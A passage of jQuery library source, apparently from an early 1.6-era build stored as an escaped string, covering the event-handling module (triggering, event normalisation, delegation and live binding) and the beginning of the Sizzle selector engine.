);\n\n\t\t\tevent.currentTarget = cur;\n\t\t\tif ( handle ) {\n\t\t\t\thandle.apply( cur, data );\n\t\t\t}\n\n\t\t\t// Trigger an inline bound script\n\t\t\tif ( ontype && jQuery.acceptData( cur ) && cur[ ontype ] && cur[ ontype ].apply( cur, data ) === false ) {\n\t\t\t\tevent.result = false;\n\t\t\t\tevent.preventDefault();\n\t\t\t}\n\n\t\t\t// Bubble up to document, then to window\n\t\t\tcur = cur.parentNode || cur.ownerDocument || cur === event.target.ownerDocument && window;\n\t\t} while ( cur && !event.isPropagationStopped() );\n\n\t\t// If nobody prevented the default action, do it now\n\t\tif ( !event.isDefaultPrevented() ) {\n\t\t\tvar old,\n\t\t\t\tspecial = jQuery.event.special[ type ] || {};\n\n\t\t\tif ( (!special._default || special._default.call( elem.ownerDocument, event ) === false) &&\n\t\t\t\t!(type === \"click\" && jQuery.nodeName( elem, \"a\" )) && jQuery.acceptData( elem ) ) {\n\n\t\t\t\t// Call a native DOM method on the target with the same name name as the event.\n\t\t\t\t// Can't use an .isFunction)() check here because IE6/7 fails that test.\n\t\t\t\t// IE<9 dies on focus to hidden element (#1486), may want to revisit a try/catch.\n\t\t\t\ttry {\n\t\t\t\t\tif ( ontype && elem[ type ] ) {\n\t\t\t\t\t\t// Don't re-trigger an onFOO event when we call its FOO() method\n\t\t\t\t\t\told = elem[ ontype ];\n\n\t\t\t\t\t\tif ( old ) {\n\t\t\t\t\t\t\telem[ ontype ] = null;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tjQuery.event.triggered = type;\n\t\t\t\t\t\telem[ type ]();\n\t\t\t\t\t}\n\t\t\t\t} catch ( ieError ) {}\n\n\t\t\t\tif ( old ) {\n\t\t\t\t\telem[ ontype ] = old;\n\t\t\t\t}\n\n\t\t\t\tjQuery.event.triggered = undefined;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn event.result;\n\t},\n\n\thandle: function( event ) {\n\t\tevent = jQuery.event.fix( event || window.event );\n\t\t// Snapshot the handlers list since a called handler may add/remove events.\n\t\tvar handlers = ((jQuery._data( this, \"events\" ) || {})[ event.type ] || []).slice(0),\n\t\t\trun_all = !event.exclusive && !event.namespace,\n\t\t\targs = Array.prototype.slice.call( arguments, 0 );\n\n\t\t// Use the fix-ed Event rather than the (read-only) native event\n\t\targs[0] = event;\n\t\tevent.currentTarget = this;\n\n\t\tfor ( var j = 0, l = handlers.length; j < l; j++ ) {\n\t\t\tvar handleObj = handlers[ j ];\n\n\t\t\t// Triggered event must 1) be non-exclusive and have no namespace, or\n\t\t\t// 2) have namespace(s) a subset or equal to those in the bound event.\n\t\t\tif ( run_all || event.namespace_re.test( handleObj.namespace ) ) {\n\t\t\t\t// Pass in a reference to the handler function itself\n\t\t\t\t// So that we can later remove it\n\t\t\t\tevent.handler = handleObj.handler;\n\t\t\t\tevent.data = handleObj.data;\n\t\t\t\tevent.handleObj = handleObj;\n\n\t\t\t\tvar ret = handleObj.handler.apply( this, args );\n\n\t\t\t\tif ( ret !== undefined ) {\n\t\t\t\t\tevent.result = ret;\n\t\t\t\t\tif ( ret === false ) {\n\t\t\t\t\t\tevent.preventDefault();\n\t\t\t\t\t\tevent.stopPropagation();\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( event.isImmediatePropagationStopped() ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn event.result;\n\t},\n\n\tprops: \"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which\".split(\" \"),\n\n\tfix: function( event ) {\n\t\tif ( event[ jQuery.expando ] ) {\n\t\t\treturn event;\n\t\t}\n\n\t\t// store a copy of the original event object\n\t\t// and \"clone\" to set read-only properties\n\t\tvar originalEvent = event;\n\t\tevent = jQuery.Event( originalEvent );\n\n\t\tfor ( var i = this.props.length, prop; i; ) {\n\t\t\tprop = this.props[ --i ];\n\t\t\tevent[ prop ] = originalEvent[ prop ];\n\t\t}\n\n\t\t// Fix target property, if necessary\n\t\tif ( !event.target ) {\n\t\t\t// Fixes #1925 where srcElement might not be defined either\n\t\t\tevent.target = event.srcElement || document;\n\t\t}\n\n\t\t// check if target is a textnode (safari)\n\t\tif ( event.target.nodeType === 3 ) {\n\t\t\tevent.target = event.target.parentNode;\n\t\t}\n\n\t\t// Add relatedTarget, if necessary\n\t\tif ( !event.relatedTarget && event.fromElement ) {\n\t\t\tevent.relatedTarget = event.fromElement === event.target ? event.toElement : event.fromElement;\n\t\t}\n\n\t\t// Calculate pageX/Y if missing and clientX/Y available\n\t\tif ( event.pageX == null && event.clientX != null ) {\n\t\t\tvar eventDocument = event.target.ownerDocument || document,\n\t\t\t\tdoc = eventDocument.documentElement,\n\t\t\t\tbody = eventDocument.body;\n\n\t\t\tevent.pageX = event.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0);\n\t\t\tevent.pageY = event.clientY + (doc && doc.scrollTop  || body && body.scrollTop  || 0) - (doc && doc.clientTop  || body && body.clientTop  || 0);\n\t\t}\n\n\t\t// Add which for key events\n\t\tif ( event.which == null && (event.charCode != null || event.keyCode != null) ) {\n\t\t\tevent.which = event.charCode != null ? event.charCode : event.keyCode;\n\t\t}\n\n\t\t// Add metaKey to non-Mac browsers (use ctrl for PC's and Meta for Macs)\n\t\tif ( !event.metaKey && event.ctrlKey ) {\n\t\t\tevent.metaKey = event.ctrlKey;\n\t\t}\n\n\t\t// Add which for click: 1 === left; 2 === middle; 3 === right\n\t\t// Note: button is not normalized, so don't use it\n\t\tif ( !event.which && event.button !== undefined ) {\n\t\t\tevent.which = (event.button & 1 ? 1 : ( event.button & 2 ? 3 : ( event.button & 4 ? 2 : 0 ) ));\n\t\t}\n\n\t\treturn event;\n\t},\n\n\t// Deprecated, use jQuery.guid instead\n\tguid: 1E8,\n\n\t// Deprecated, use jQuery.proxy instead\n\tproxy: jQuery.proxy,\n\n\tspecial: {\n\t\tready: {\n\t\t\t// Make sure the ready event is setup\n\t\t\tsetup: jQuery.bindReady,\n\t\t\tteardown: jQuery.noop\n\t\t},\n\n\t\tlive: {\n\t\t\tadd: function( handleObj ) {\n\t\t\t\tjQuery.event.add( this,\n\t\t\t\t\tliveConvert( handleObj.origType, handleObj.selector ),\n\t\t\t\t\tjQuery.extend({}, handleObj, {handler: liveHandler, guid: handleObj.handler.guid}) );\n\t\t\t},\n\n\t\t\tremove: function( handleObj ) {\n\t\t\t\tjQuery.event.remove( this, liveConvert( handleObj.origType, handleObj.selector ), handleObj );\n\t\t\t}\n\t\t},\n\n\t\tbeforeunload: {\n\t\t\tsetup: function( data, namespaces, eventHandle ) {\n\t\t\t\t// We only want to do this special case on windows\n\t\t\t\tif ( jQuery.isWindow( this ) ) {\n\t\t\t\t\tthis.onbeforeunload = eventHandle;\n\t\t\t\t}\n\t\t\t},\n\n\t\t\tteardown: function( namespaces, eventHandle ) {\n\t\t\t\tif ( this.onbeforeunload === eventHandle ) {\n\t\t\t\t\tthis.onbeforeunload = null;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n};\n\njQuery.removeEvent = document.removeEventListener ?\n\tfunction( elem, type, handle ) {\n\t\tif ( elem.removeEventListener ) {\n\t\t\telem.removeEventListener( type, handle, false );\n\t\t}\n\t} :\n\tfunction( elem, type, handle ) {\n\t\tif ( elem.detachEvent ) {\n\t\t\telem.detachEvent( \"on\" + type, handle );\n\t\t}\n\t};\n\njQuery.Event = function( src, props ) {\n\t// Allow instantiation without the 'new' keyword\n\tif ( !this.preventDefault ) {\n\t\treturn new jQuery.Event( src, props );\n\t}\n\n\t// Event object\n\tif ( src && src.type ) {\n\t\tthis.originalEvent = src;\n\t\tthis.type = src.type;\n\n\t\t// Events bubbling up the document may have been marked as prevented\n\t\t// by a handler lower down the tree; reflect the correct value.\n\t\tthis.isDefaultPrevented = (src.defaultPrevented || src.returnValue === false ||\n\t\t\tsrc.getPreventDefault && src.getPreventDefault()) ? returnTrue : returnFalse;\n\n\t// Event type\n\t} else {\n\t\tthis.type = src;\n\t}\n\n\t// Put explicitly provided properties onto the event object\n\tif ( props ) {\n\t\tjQuery.extend( this, props );\n\t}\n\n\t// timeStamp is buggy for some events on Firefox(#3843)\n\t// So we won't rely on the native value\n\tthis.timeStamp = jQuery.now();\n\n\t// Mark it as fixed\n\tthis[ jQuery.expando ] = true;\n};\n\nfunction returnFalse() {\n\treturn false;\n}\nfunction returnTrue() {\n\treturn true;\n}\n\n// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding\n// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html\njQuery.Event.prototype = {\n\tpreventDefault: function() {\n\t\tthis.isDefaultPrevented = returnTrue;\n\n\t\tvar e = this.originalEvent;\n\t\tif ( !e ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// if preventDefault exists run it on the original event\n\t\tif ( e.preventDefault ) {\n\t\t\te.preventDefault();\n\n\t\t// otherwise set the returnValue property of the original event to false (IE)\n\t\t} else {\n\t\t\te.returnValue = false;\n\t\t}\n\t},\n\tstopPropagation: function() {\n\t\tthis.isPropagationStopped = returnTrue;\n\n\t\tvar e = this.originalEvent;\n\t\tif ( !e ) {\n\t\t\treturn;\n\t\t}\n\t\t// if stopPropagation exists run it on the original event\n\t\tif ( e.stopPropagation ) {\n\t\t\te.stopPropagation();\n\t\t}\n\t\t// otherwise set the cancelBubble property of the original event to true (IE)\n\t\te.cancelBubble = true;\n\t},\n\tstopImmediatePropagation: function() {\n\t\tthis.isImmediatePropagationStopped = returnTrue;\n\t\tthis.stopPropagation();\n\t},\n\tisDefaultPrevented: returnFalse,\n\tisPropagationStopped: returnFalse,\n\tisImmediatePropagationStopped: returnFalse\n};\n\n// Checks if an event happened on an element within another element\n// Used in jQuery.event.special.mouseenter and mouseleave handlers\nvar withinElement = function( event ) {\n\t// Check if mouse(over|out) are still within the same parent element\n\tvar parent = event.relatedTarget;\n\n\t// set the correct event type\n\tevent.type = event.data;\n\n\t// Firefox sometimes assigns relatedTarget a XUL element\n\t// which we cannot access the parentNode property of\n\ttry {\n\n\t\t// Chrome does something similar, the parentNode property\n\t\t// can be accessed but is null.\n\t\tif ( parent && parent !== document && !parent.parentNode ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Traverse up the tree\n\t\twhile ( parent && parent !== this ) {\n\t\t\tparent = parent.parentNode;\n\t\t}\n\n\t\tif ( parent !== this ) {\n\t\t\t// handle event if we actually just moused on to a non sub-element\n\t\t\tjQuery.event.handle.apply( this, arguments );\n\t\t}\n\n\t// assuming we've left the element since we most likely mousedover a xul element\n\t} catch(e) { }\n},\n\n// In case of event delegation, we only need to rename the event.type,\n// liveHandler will take care of the rest.\ndelegate = function( event ) {\n\tevent.type = event.data;\n\tjQuery.event.handle.apply( this, arguments );\n};\n\n// Create mouseenter and mouseleave events\njQuery.each({\n\tmouseenter: \"mouseover\",\n\tmouseleave: \"mouseout\"\n}, function( orig, fix ) {\n\tjQuery.event.special[ orig ] = {\n\t\tsetup: function( data ) {\n\t\t\tjQuery.event.add( this, fix, data && data.selector ? delegate : withinElement, orig );\n\t\t},\n\t\tteardown: function( data ) {\n\t\t\tjQuery.event.remove( this, fix, data && data.selector ? delegate : withinElement );\n\t\t}\n\t};\n});\n\n// submit delegation\nif ( !jQuery.support.submitBubbles ) {\n\n\tjQuery.event.special.submit = {\n\t\tsetup: function( data, namespaces ) {\n\t\t\tif ( !jQuery.nodeName( this, \"form\" ) ) {\n\t\t\t\tjQuery.event.add(this, \"click.specialSubmit\", function( e ) {\n\t\t\t\t\tvar elem = e.target,\n\t\t\t\t\t\ttype = elem.type;\n\n\t\t\t\t\tif ( (type === \"submit\" || type === \"image\") && jQuery( elem ).closest(\"form\").length ) {\n\t\t\t\t\t\ttrigger( \"submit\", this, arguments );\n\t\t\t\t\t}\n\t\t\t\t});\n\n\t\t\t\tjQuery.event.add(this, \"keypress.specialSubmit\", function( e ) {\n\t\t\t\t\tvar elem = e.target,\n\t\t\t\t\t\ttype = elem.type;\n\n\t\t\t\t\tif ( (type === \"text\" || type === \"password\") && jQuery( elem ).closest(\"form\").length && e.keyCode === 13 ) {\n\t\t\t\t\t\ttrigger( \"submit\", this, arguments );\n\t\t\t\t\t}\n\t\t\t\t});\n\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t},\n\n\t\tteardown: function( namespaces ) {\n\t\t\tjQuery.event.remove( this, \".specialSubmit\" );\n\t\t}\n\t};\n\n}\n\n// change delegation, happens here so we have bind.\nif ( !jQuery.support.changeBubbles ) {\n\n\tvar changeFilters,\n\n\tgetVal = function( elem ) {\n\t\tvar type = elem.type, val = elem.value;\n\n\t\tif ( type === \"radio\" || type === \"checkbox\" ) {\n\t\t\tval = elem.checked;\n\n\t\t} else if ( type === \"select-multiple\" ) {\n\t\t\tval = elem.selectedIndex > -1 ?\n\t\t\t\tjQuery.map( elem.options, function( elem ) {\n\t\t\t\t\treturn elem.selected;\n\t\t\t\t}).join(\"-\") :\n\t\t\t\t\"\";\n\n\t\t} else if ( jQuery.nodeName( elem, \"select\" ) ) {\n\t\t\tval = elem.selectedIndex;\n\t\t}\n\n\t\treturn val;\n\t},\n\n\ttestChange = function testChange( e ) {\n\t\tvar elem = e.target, data, val;\n\n\t\tif ( !rformElems.test( elem.nodeName ) || elem.readOnly ) {\n\t\t\treturn;\n\t\t}\n\n\t\tdata = jQuery._data( elem, \"_change_data\" );\n\t\tval = getVal(elem);\n\n\t\t// the current data will be also retrieved by beforeactivate\n\t\tif ( e.type !== \"focusout\" || elem.type !== \"radio\" ) {\n\t\t\tjQuery._data( elem, \"_change_data\", val );\n\t\t}\n\n\t\tif ( data === undefined || val === data ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( data != null || val ) {\n\t\t\te.type = \"change\";\n\t\t\te.liveFired = undefined;\n\t\t\tjQuery.event.trigger( e, arguments[1], elem );\n\t\t}\n\t};\n\n\tjQuery.event.special.change = {\n\t\tfilters: {\n\t\t\tfocusout: testChange,\n\n\t\t\tbeforedeactivate: testChange,\n\n\t\t\tclick: function( e ) {\n\t\t\t\tvar elem = e.target, type = jQuery.nodeName( elem, \"input\" ) ? elem.type : \"\";\n\n\t\t\t\tif ( type === \"radio\" || type === \"checkbox\" || jQuery.nodeName( elem, \"select\" ) ) {\n\t\t\t\t\ttestChange.call( this, e );\n\t\t\t\t}\n\t\t\t},\n\n\t\t\t// Change has to be called before submit\n\t\t\t// Keydown will be called before keypress, which is used in submit-event delegation\n\t\t\tkeydown: function( e ) {\n\t\t\t\tvar elem = e.target, type = jQuery.nodeName( elem, \"input\" ) ? elem.type : \"\";\n\n\t\t\t\tif ( (e.keyCode === 13 && !jQuery.nodeName( elem, \"textarea\" ) ) ||\n\t\t\t\t\t(e.keyCode === 32 && (type === \"checkbox\" || type === \"radio\")) ||\n\t\t\t\t\ttype === \"select-multiple\" ) {\n\t\t\t\t\ttestChange.call( this, e );\n\t\t\t\t}\n\t\t\t},\n\n\t\t\t// Beforeactivate happens also before the previous element is blurred\n\t\t\t// with this event you can't trigger a change event, but you can store\n\t\t\t// information\n\t\t\tbeforeactivate: function( e ) {\n\t\t\t\tvar elem = e.target;\n\t\t\t\tjQuery._data( elem, \"_change_data\", getVal(elem) );\n\t\t\t}\n\t\t},\n\n\t\tsetup: function( data, namespaces ) {\n\t\t\tif ( this.type === \"file\" ) {\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tfor ( var type in changeFilters ) {\n\t\t\t\tjQuery.event.add( this, type + \".specialChange\", changeFilters[type] );\n\t\t\t}\n\n\t\t\treturn rformElems.test( this.nodeName );\n\t\t},\n\n\t\tteardown: function( namespaces ) {\n\t\t\tjQuery.event.remove( this, \".specialChange\" );\n\n\t\t\treturn rformElems.test( this.nodeName );\n\t\t}\n\t};\n\n\tchangeFilters = jQuery.event.special.change.filters;\n\n\t// Handle when the input is .focus()'d\n\tchangeFilters.focus = changeFilters.beforeactivate;\n}\n\nfunction trigger( type, elem, args ) {\n\t// Piggyback on a donor event to simulate a different one.\n\t// Fake originalEvent to avoid donor's stopPropagation, but if the\n\t// simulated event prevents default then we do the same on the donor.\n\t// Don't pass args or remember liveFired; they apply to the donor event.\n\tvar event = jQuery.extend( {}, args[ 0 ] );\n\tevent.type = type;\n\tevent.originalEvent = {};\n\tevent.liveFired = undefined;\n\tjQuery.event.handle.call( elem, event );\n\tif ( event.isDefaultPrevented() ) {\n\t\targs[ 0 ].preventDefault();\n\t}\n}\n\n// Create \"bubbling\" focus and blur events\nif ( !jQuery.support.focusinBubbles ) {\n\tjQuery.each({ focus: \"focusin\", blur: \"focusout\" }, function( orig, fix ) {\n\n\t\t// Attach a single capturing handler while someone wants focusin/focusout\n\t\tvar attaches = 0;\n\n\t\tjQuery.event.special[ fix ] = {\n\t\t\tsetup: function() {\n\t\t\t\tif ( attaches++ === 0 ) {\n\t\t\t\t\tdocument.addEventListener( orig, handler, true );\n\t\t\t\t}\n\t\t\t},\n\t\t\tteardown: function() {\n\t\t\t\tif ( --attaches === 0 ) {\n\t\t\t\t\tdocument.removeEventListener( orig, handler, true );\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\n\t\tfunction handler( donor ) {\n\t\t\t// Donor event is always a native one; fix it and switch its type.\n\t\t\t// Let focusin/out handler cancel the donor focus/blur event.\n\t\t\tvar e = jQuery.event.fix( donor );\n\t\t\te.type = fix;\n\t\t\te.originalEvent = {};\n\t\t\tjQuery.event.trigger( e, null, e.target );\n\t\t\tif ( e.isDefaultPrevented() ) {\n\t\t\t\tdonor.preventDefault();\n\t\t\t}\n\t\t}\n\t});\n}\n\njQuery.each([\"bind\", \"one\"], function( i, name ) {\n\tjQuery.fn[ name ] = function( type, data, fn ) {\n\t\tvar handler;\n\n\t\t// Handle object literals\n\t\tif ( typeof type === \"object\" ) {\n\t\t\tfor ( var key in type ) {\n\t\t\t\tthis[ name ](key, data, type[key], fn);\n\t\t\t}\n\t\t\treturn this;\n\t\t}\n\n\t\tif ( arguments.length === 2 || data === false ) {\n\t\t\tfn = data;\n\t\t\tdata = undefined;\n\t\t}\n\n\t\tif ( name === \"one\" ) {\n\t\t\thandler = function( event ) {\n\t\t\t\tjQuery( this ).unbind( event, handler );\n\t\t\t\treturn fn.apply( this, arguments );\n\t\t\t};\n\t\t\thandler.guid = fn.guid || jQuery.guid++;\n\t\t} else {\n\t\t\thandler = fn;\n\t\t}\n\n\t\tif ( type === \"unload\" && name !== \"one\" ) {\n\t\t\tthis.one( type, data, fn );\n\n\t\t} else {\n\t\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\tjQuery.event.add( this[i], type, handler, data );\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t};\n});\n\njQuery.fn.extend({\n\tunbind: function( type, fn ) {\n\t\t// Handle object literals\n\t\tif ( typeof type === \"object\" && !type.preventDefault ) {\n\t\t\tfor ( var key in type ) {\n\t\t\t\tthis.unbind(key, type[key]);\n\t\t\t}\n\n\t\t} else {\n\t\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\tjQuery.event.remove( this[i], type, fn );\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tdelegate: function( selector, types, data, fn ) {\n\t\treturn this.live( types, data, fn, selector );\n\t},\n\n\tundelegate: function( selector, types, fn ) {\n\t\tif ( arguments.length === 0 ) {\n\t\t\treturn this.unbind( \"live\" );\n\n\t\t} else {\n\t\t\treturn this.die( types, null, fn, selector );\n\t\t}\n\t},\n\n\ttrigger: function( type, data ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.event.trigger( type, data, this );\n\t\t});\n\t},\n\n\ttriggerHandler: function( type, data ) {\n\t\tif ( this[0] ) {\n\t\t\treturn jQuery.event.trigger( type, data, this[0], true );\n\t\t}\n\t},\n\n\ttoggle: function( fn ) {\n\t\t// Save reference to arguments for access in closure\n\t\tvar args = arguments,\n\t\t\tguid = fn.guid || jQuery.guid++,\n\t\t\ti = 0,\n\t\t\ttoggler = function( event ) {\n\t\t\t\t// Figure out which function to execute\n\t\t\t\tvar lastToggle = ( jQuery.data( this, \"lastToggle\" + fn.guid ) || 0 ) % i;\n\t\t\t\tjQuery.data( this, \"lastToggle\" + fn.guid, lastToggle + 1 );\n\n\t\t\t\t// Make sure that clicks stop\n\t\t\t\tevent.preventDefault();\n\n\t\t\t\t// and execute the function\n\t\t\t\treturn args[ lastToggle ].apply( this, arguments ) || false;\n\t\t\t};\n\n\t\t// link all the functions, so any of them can unbind this click handler\n\t\ttoggler.guid = guid;\n\t\twhile ( i < args.length ) {\n\t\t\targs[ i++ ].guid = guid;\n\t\t}\n\n\t\treturn this.click( toggler );\n\t},\n\n\thover: function( fnOver, fnOut ) {\n\t\treturn this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );\n\t}\n});\n\nvar liveMap = {\n\tfocus: \"focusin\",\n\tblur: \"focusout\",\n\tmouseenter: \"mouseover\",\n\tmouseleave: \"mouseout\"\n};\n\njQuery.each([\"live\", \"die\"], function( i, name ) {\n\tjQuery.fn[ name ] = function( types, data, fn, origSelector /* Internal Use Only */ ) {\n\t\tvar type, i = 0, match, namespaces, preType,\n\t\t\tselector = origSelector || this.selector,\n\t\t\tcontext = origSelector ? this : jQuery( this.context );\n\n\t\tif ( typeof types === \"object\" && !types.preventDefault ) {\n\t\t\tfor ( var key in types ) {\n\t\t\t\tcontext[ name ]( key, data, types[key], selector );\n\t\t\t}\n\n\t\t\treturn this;\n\t\t}\n\n\t\tif ( name === \"die\" && !types &&\n\t\t\t\t\torigSelector && origSelector.charAt(0) === \".\" ) {\n\n\t\t\tcontext.unbind( origSelector );\n\n\t\t\treturn this;\n\t\t}\n\n\t\tif ( data === false || jQuery.isFunction( data ) ) {\n\t\t\tfn = data || returnFalse;\n\t\t\tdata = undefined;\n\t\t}\n\n\t\ttypes = (types || \"\").split(\" \");\n\n\t\twhile ( (type = types[ i++ ]) != null ) {\n\t\t\tmatch = rnamespaces.exec( type );\n\t\t\tnamespaces = \"\";\n\n\t\t\tif ( match )  {\n\t\t\t\tnamespaces = match[0];\n\t\t\t\ttype = type.replace( rnamespaces, \"\" );\n\t\t\t}\n\n\t\t\tif ( type === \"hover\" ) {\n\t\t\t\ttypes.push( \"mouseenter\" + namespaces, \"mouseleave\" + namespaces );\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tpreType = type;\n\n\t\t\tif ( liveMap[ type ] ) {\n\t\t\t\ttypes.push( liveMap[ type ] + namespaces );\n\t\t\t\ttype = type + namespaces;\n\n\t\t\t} else {\n\t\t\t\ttype = (liveMap[ type ] || type) + namespaces;\n\t\t\t}\n\n\t\t\tif ( name === \"live\" ) {\n\t\t\t\t// bind live handler\n\t\t\t\tfor ( var j = 0, l = context.length; j < l; j++ ) {\n\t\t\t\t\tjQuery.event.add( context[j], \"live.\" + liveConvert( type, selector ),\n\t\t\t\t\t\t{ data: data, selector: selector, handler: fn, origType: type, origHandler: fn, preType: preType } );\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\t// unbind live handler\n\t\t\t\tcontext.unbind( \"live.\" + liveConvert( type, selector ), fn );\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t};\n});\n\nfunction liveHandler( event ) {\n\tvar stop, maxLevel, related, match, handleObj, elem, j, i, l, data, close, namespace, ret,\n\t\telems = [],\n\t\tselectors = [],\n\t\tevents = jQuery._data( this, \"events\" );\n\n\t// Make sure we avoid non-left-click bubbling in Firefox (#3861) and disabled elements in IE (#6911)\n\tif ( event.liveFired === this || !events || !events.live || event.target.disabled || event.button && event.type === \"click\" ) {\n\t\treturn;\n\t}\n\n\tif ( event.namespace ) {\n\t\tnamespace = new RegExp(\"(^|\\\\.)\" + event.namespace.split(\".\").join(\"\\\\.(?:.*\\\\.)?\") + \"(\\\\.|$)\");\n\t}\n\n\tevent.liveFired = this;\n\n\tvar live = events.live.slice(0);\n\n\tfor ( j = 0; j < live.length; j++ ) {\n\t\thandleObj = live[j];\n\n\t\tif ( handleObj.origType.replace( rnamespaces, \"\" ) === event.type ) {\n\t\t\tselectors.push( handleObj.selector );\n\n\t\t} else {\n\t\t\tlive.splice( j--, 1 );\n\t\t}\n\t}\n\n\tmatch = jQuery( event.target ).closest( selectors, event.currentTarget );\n\n\tfor ( i = 0, l = match.length; i < l; i++ ) {\n\t\tclose = match[i];\n\n\t\tfor ( j = 0; j < live.length; j++ ) {\n\t\t\thandleObj = live[j];\n\n\t\t\tif ( close.selector === handleObj.selector && (!namespace || namespace.test( handleObj.namespace )) && !close.elem.disabled ) {\n\t\t\t\telem = close.elem;\n\t\t\t\trelated = null;\n\n\t\t\t\t// Those two events require additional checking\n\t\t\t\tif ( handleObj.preType === \"mouseenter\" || handleObj.preType === \"mouseleave\" ) {\n\t\t\t\t\tevent.type = handleObj.preType;\n\t\t\t\t\trelated = jQuery( event.relatedTarget ).closest( handleObj.selector )[0];\n\n\t\t\t\t\t// Make sure not to accidentally match a child element with the same selector\n\t\t\t\t\tif ( related && jQuery.contains( elem, related ) ) {\n\t\t\t\t\t\trelated = elem;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( !related || related !== elem ) {\n\t\t\t\t\telems.push({ elem: elem, handleObj: handleObj, level: close.level });\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tfor ( i = 0, l = elems.length; i < l; i++ ) {\n\t\tmatch = elems[i];\n\n\t\tif ( maxLevel && match.level > maxLevel ) {\n\t\t\tbreak;\n\t\t}\n\n\t\tevent.currentTarget = match.elem;\n\t\tevent.data = match.handleObj.data;\n\t\tevent.handleObj = match.handleObj;\n\n\t\tret = match.handleObj.origHandler.apply( match.elem, arguments );\n\n\t\tif ( ret === false || event.isPropagationStopped() ) {\n\t\t\tmaxLevel = match.level;\n\n\t\t\tif ( ret === false ) {\n\t\t\t\tstop = false;\n\t\t\t}\n\t\t\tif ( event.isImmediatePropagationStopped() ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn stop;\n}\n\nfunction liveConvert( type, selector ) {\n\treturn (type && type !== \"*\" ? type + \".\" : \"\") + selector.replace(rperiod, \"`\").replace(rspaces, \"&\");\n}\n\njQuery.each( (\"blur focus focusin focusout load resize scroll unload click dblclick \" +\n\t\"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave \" +\n\t\"change select submit keydown keypress keyup error\").split(\" \"), function( i, name ) {\n\n\t// Handle event binding\n\tjQuery.fn[ name ] = function( data, fn ) {\n\t\tif ( fn == null ) {\n\t\t\tfn = data;\n\t\t\tdata = null;\n\t\t}\n\n\t\treturn arguments.length > 0 ?\n\t\t\tthis.bind( name, data, fn ) :\n\t\t\tthis.trigger( name );\n\t};\n\n\tif ( jQuery.attrFn ) {\n\t\tjQuery.attrFn[ name ] = true;\n\t}\n});\n\n\n\n/*!\n * Sizzle CSS Selector Engine\n *  Copyright 2011, The Dojo Foundation\n *  Released under the MIT, BSD, and GPL Licenses.\n *  More information: http://sizzlejs.com/\n */\n(function(){\n\nvar chunker = /((?:\\((?:\\([^()]+\\)|[^()]+)+\\)|\\[(?:\\[[^\\[\\]]*\\]|['\"][^'\"]*['\"]|[^\\[\\]'\"]+)+\\]|\\\\.|[^ >+~,(\\[\\\\]+)+|[>+~])(\\s*,\\s*)?((?:.|\\r|\\n)*)/g,\n\tdone = 0,\n\ttoString = Object.prototype.toString,\n\thasDuplicate = false,\n\tbaseHasDuplicate = true,\n\trBackslash = /\\\\/g,\n\trNonWord = /\\W/;\n\n// Here we check if the JavaScript engine is using some sort of\n// optimization where it does not always call our comparision\n// function. If that is the case, discard the hasDuplicate value.\n//   Thus far that includes Google Chrome.\n[0, 0].sort(function() {\n\tbaseHasDuplicate = false;\n\treturn 0;\n});\n\nvar Sizzle = function( selector, context, results, seed ) {\n\tresults = results || [];\n\tcontext = context || document;\n\n\tvar origContext = context;\n\n\tif ( context.nodeType !== 1 && context.nodeType !== 9 ) {\n\t\treturn [];\n\t}\n\t\n\tif ( !selector || typeof selector !== \"string\" ) {\n\t\treturn results;\n\t}\n\n\tvar m, set, checkSet, extra, ret, cur, pop, i,\n\t\tprune = true,\n\t\tcontextXML = Sizzle.isXML( context ),\n\t\tparts = [],\n\t\tsoFar = selector;\n\t\n\t// Reset the position of the chunker regexp (start from head)\n\tdo {\n\t\tchunker.exec( \"\" );\n\t\tm = chunker.exec( soFar );\n\n\t\tif ( m ) {\n\t\t\tsoFar = m[3];\n\t\t\n\t\t\tparts.push( m[1] );\n\t\t\n\t\t\tif ( m[2] ) {\n\t\t\t\textra = m[3];\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t} while ( m );\n\n\tif ( parts.length > 1 && origPOS.exec( selector ) ) {\n\n\t\tif ( parts.length === 2 && Expr.relative[ parts[0] ] ) {\n\t\t\tset = posProcess( parts[0] + parts[1], context );\n\n\t\t} else {\n\t\t\tset = Expr.relative[ parts[0] ] ?\n\t\t\t\t[ context ] :\n\t\t\t\tSizzle( parts.shift(), context );\n\n\t\t\twhile ( parts.length ) {\n\t\t\t\tselector = parts.shift();\n\n\t\t\t\tif ( Expr.relative[ selector ] ) {\n\t\t\t\t\tselector += parts.shift();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tset = posProcess( selector, set 